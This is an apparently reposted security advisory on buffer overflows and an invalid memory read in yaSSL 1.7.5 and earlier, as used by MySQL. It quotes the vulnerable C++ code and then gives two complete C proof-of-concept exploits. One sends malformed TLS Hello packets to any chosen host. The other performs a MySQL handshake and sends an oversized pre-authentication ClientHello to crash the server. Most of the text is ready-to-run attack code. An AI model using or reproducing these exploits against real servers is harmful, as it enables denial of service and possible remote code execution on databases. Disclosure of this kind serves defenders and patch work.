|
|
|
|
| |
| yaSSL is "an open source SSL library mainly used in MySQL and in other projects". On MySQL, if SSL support is enabled, is possible to use this vulnerability for pre-authentication code execution. |
| |
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/yasslick-adv.txt
|
| |
Vulnerable Systems:
* yaSSL version 1.7.5 and prior
Buffer overflow in ProcessOldClientHello
The buffer which contains the data received by the client in the Hello packet has the following structure (from yassl_imp.hpp):
class ClientHello : public HandShakeBase {
ProtocolVersion client_version_;
Random random_;
uint8 id_len_; // session id length
opaque session_id_[ID_LEN];
uint16 suite_len_; // cipher suite length
opaque cipher_suites_[MAX_SUITE_SZ];
uint8 comp_len_; // compression length
CompressionMethod compression_methods_;
...
where ID_LEN is 32 elements long, MAX_SUITE_SZ 64 and RAN_LEN (Random) is 32. The ProcessOldClientHello function called when an old version of the Hello packet is received doesn't have the needed checks for limiting the amount of data which will fill these 3 fields leading to a buffer-overflow vulnerability exploitable for executing code remotely.
From handshake.cpp:
void ProcessOldClientHello(input_buffer& input, SSL& ssl)
...
ClientHello ch;
...
for (uint16 i = 0; i < ch.suite_len_; i += 3) {
byte first = input[AUTO];
if (first) // sslv2 type
input.read(len, SUITE_LEN); // skip
else {
input.read(&ch.cipher_suites_[j], SUITE_LEN);
j += SUITE_LEN;
}
}
ch.suite_len_ = j;
if (ch.id_len_)
input.read(ch.session_id_, ch.id_len_);
if (randomLen < RAN_LEN)
memset(ch.random_, 0, RAN_LEN - randomLen);
input.read(&ch.random_[RAN_LEN - randomLen], randomLen);
...
Buffer overflow in "input_buffer& operator>>"
Another buffer-overflow is located in the function used for handling the normal Hello packet but in this case doesn't seem possible (or easily possible) to exploit this vulnerability for executing code.
From yassl_imp.cpp:
input_buffer& operator>>(input_buffer& input, ClientHello& hello)
...
hello.id_len_ = input[AUTO];
if (hello.id_len_) input.read(hello.session_id_, ID_LEN);
// Suites
byte tmp[2];
tmp[0] = input[AUTO];
tmp[1] = input[AUTO];
ato16(tmp, hello.suite_len_);
input.read(hello.cipher_suites_, hello.suite_len_);
...
Invalid memory access in HASHwithTransform::Update
The usage of a too big size value in the Hello packet leads to a crash of the library through the reading of data outside the memory containing the incoming packet.
From hash.cpp:
void HASHwithTransform::Update(const byte* data, word32 len)
{
// do block size increments
word32 blockSz = getBlockSize();
byte* local = reinterpret_cast<byte*>(buffer_);
while (len) {
word32 add = min(len, blockSz - buffLen_);
memcpy(&local[buffLen_], data, add);
...
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/yasslick.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define BUFFSZ 0xffff
int ssl_send(int sd, u8 *buff, int len);
int putcc(u8 *data, int chr, int len);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int attack;
int SESSIONID = 0x00, // exploits if major than 32
CIPHSUITE = 0x0000, // exploits if major than 64 * 2
COMPMETH = 0x00,
RANDOM = 0x0000; // exploits if major than 32
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd;
u8 *buff,
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"yaSSL <= 1.7.5 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 4) {
printf("\n"
"Usage: %s <attack> <host> <port>\n"
"\n"
"Attacks:\n"
" 1 = buffer-overflow in ProcessOldClientHello\n"
" 2 = buffer-overflow in \"input_buffer& operator>>\"\n"
" 3 = invalid memory access in HASHwithTransform::Update\n"
"\n", argv[0]);
exit(1);
}
attack = atoi(argv[1]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(atoi(argv[3]));
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
buff = malloc(BUFFSZ);
if(!buff) std_err();
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
p = buff;
if(attack == 1) {
printf("- buffer-overflow in ProcessOldClientHello\n");
RANDOM = 0x0fff;
p += putxx(p, 0, 16); // sz (useless)
p += putxx(p, 1, 8); // Hello
p += putxx(p, 0x0301, 16); // version
p += putxx(p, CIPHSUITE, 16); // cipher suites length
p += putxx(p, SESSIONID, 16); // session ID length
p += putxx(p, RANDOM, 16); // random size
p += putcc(p, 'A', CIPHSUITE); // cipher suites
p += putcc(p, 'A', SESSIONID); // session ID
p += putcc(p, 'A', RANDOM); // random
} else if(attack == 2) {
printf("- buffer-overflow in \"input_buffer& operator>>\"\n");
CIPHSUITE = 0xdfff;
p += putxx(p, 1, 8); // Hello
p += putxx(p, 0, 24); // length (will be corrected later)
p += putxx(p, 0x0301, 16); // TLS 1.0
p += putxx(p, time(NULL), 32); // gmt_unix_time
p += putcc(p, 0xff, 28); // random
p += putxx(p, SESSIONID, 8); // session ID length
p += putcc(p, 'A', SESSIONID); // session ID
p += putxx(p, CIPHSUITE, 16); // cipher suites length
p += putcc(p, 'A', CIPHSUITE); // cipher suites
p += putxx(p, COMPMETH, 8); // compression methods length
p += putcc(p, 'A', COMPMETH); // compression methods
} else if(attack == 3) {
printf("- invalid memory access in HASHwithTransform::Update\n");
p += putxx(p, 1, 8); // Hello
p += putxx(p, 0, 24); // length (will be corrected later)
p += putxx(p, 0x0301, 16); // TLS 1.0
p += putxx(p, time(NULL), 32); // gmt_unix_time
p += putcc(p, 0xff, 28); // random
p += putxx(p, 0, 8); // session ID length
p += putxx(p, 0, 16); // cipher suites length
p += putxx(p, 0, 8); // compression methods length
} else {
printf("\nError: wrong attack number %d\n", attack);
exit(1);
}
printf("- send malformed SSL data\n");
if(ssl_send(sd, buff, p - buff) < 0) goto quit;
if((timeout(sd, 3) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
printf("- server is probably crashed\n");
}
printf("- done\n");
close(sd);
free(buff);
return(0);
quit:
printf("\nError: something wrong during communication with the server\n");
close(sd);
free(buff);
return(1);
}
int ssl_send(int sd, u8 *buff, int len) {
u8 head[1 + 2 + 2],
*p;
if(attack != 1) {
p = head;
p += putxx(p, 22, 8); // handshake
p += putxx(p, 0x0301, 16); // TLS 1.0
p += putxx(p, len, 16); // length
if(send(sd, head, sizeof(head), 0) != sizeof(head)) return(-1);
putxx(buff + 1, len - 4, 24);
if(attack == 3) putxx(buff + 1, 0xffffff, 24);
}
if(send(sd, buff, len, 0) != len) return(-1);
return(0);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int getxx(u8 *data, u32 *ret, int bits) {
u32 num;
int i,
bytes;
bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << ((bytes - 1 - i) << 3));
}
*ret = num;
return(bytes);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
Exploit (MySQL):
/*
by Luigi Auriemma - http://aluigi.altervista.org/poc/mysqlo.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 3306
#define BUFFSZ 0xffff
int sql_send(int sd, u8 *buff, int len);
int tcp_recv(int sd, u8 *buff, int len);
int sql_recv(int sd, u8 *buff);
int putss(u8 *dst, u8 *str);
int putcc(u8 *data, int chr, int len);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int SESSIONID = 0x00,
CIPHSUITE = 0x0000,
RANDOM = 0x0fff;
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
u32 flags,
charset;
int sd,
len;
u16 port = PORT;
u8 *buff,
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"mySQL <= 6.0.3 (yaSSL <= 1.7.5) pre-auth buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n", argv[0], port);
exit(1);
}
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
buff = malloc(BUFFSZ);
if(!buff) std_err();
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
len = sql_recv(sd, buff);
if(len < 3) goto quit;
if(buff[0] == 0xff) {
printf("\nError: %.*s\n", len - 3, buff + 3);
exit(1);
}
printf("- server version %d: %s\n", buff[0], buff + 1);
for(p = buff + 1; *p; p++); p++; // no additional checks on len, this is only a PoC!
p += 4; // Thread ID
for(; *p; p++); p++; // salt
p += getxx(p, &flags, 16); // flags
p += getxx(p, &charset, 8); // charset
flags = ((flags >> 8) | (flags << 8)) & 0xffff;
if(!(flags & 2048)) { // CLIENT_SSL
printf("\nError: server doesn't support SSL\n");
exit(1);
}
p = buff;
p += putxx(p, 0x8daa0000, 32); // client_flags
p += putxx(p, 0x00000040, 32); // max_packet_size
p += putxx(p, charset, 8); // charset
p += putcc(p, 0, 23); // filler
if(sql_send(sd, buff, p - buff) < 0) goto quit;
p = buff; // SSL
p += putxx(p, 0, 16); // sz (useless)
p += putxx(p, 1, 8); // Hello
p += putxx(p, 0x0301, 16); // version
p += putxx(p, CIPHSUITE, 16); // cipher suites length
p += putxx(p, SESSIONID, 16); // session ID length
p += putxx(p, RANDOM, 16); // random size
p += putcc(p, 'A', CIPHSUITE); // cipher suites
p += putcc(p, 'A', SESSIONID); // session ID
p += putcc(p, 'A', RANDOM); // random
printf("- send malformed SSL data\n");
if(send(sd, buff, p - buff, 0) < 0) goto quit;
if((timeout(sd, 3) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
printf("- server is probably crashed\n");
}
printf("- done\n");
close(sd);
free(buff);
return(0);
quit:
printf("\nError: something wrong during communication with the server\n");
close(sd);
free(buff);
return(1);
}
int sql_send(int sd, u8 *buff, int len) {
u8 tmp[4];
printf("- %d bytes sent\n", len);
tmp[0] = len; // packet length
tmp[1] = len >> 8;
tmp[2] = len >> 16;
tmp[3] = 0x01; // packet number
if(send(sd, tmp, 4, 0) != 4) return(-1);
if(send(sd, buff, len, 0) != len) return(-1);
return(0);
}
int tcp_recv(int sd, u8 *buff, int len) {
int t;
u8 *p;
for(p = buff; len; p += t, len -= t) {
if(timeout(sd, 3) < 0) return(-1);
t = recv(sd, p, len, 0);
if(t <= 0) return(-1);
}
return(0);
}
int sql_recv(int sd, u8 *buff) {
u32 len;
u8 tmp[4];
if(tcp_recv(sd, tmp, 4) < 0) return(-1);
len = (tmp[2] << 16) | (tmp[1] << 8) | tmp[0];
if(tcp_recv(sd, buff, len) < 0) return(-1);
printf("- %d bytes received\n", len);
return(len);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int getxx(u8 *data, u32 *ret, int bits) {
u32 num;
int i,
bytes;
bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << ((bytes - 1 - i) << 3));
}
*ret = num;
return(bytes);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
|
|
|
|
|
|
|
|
|
|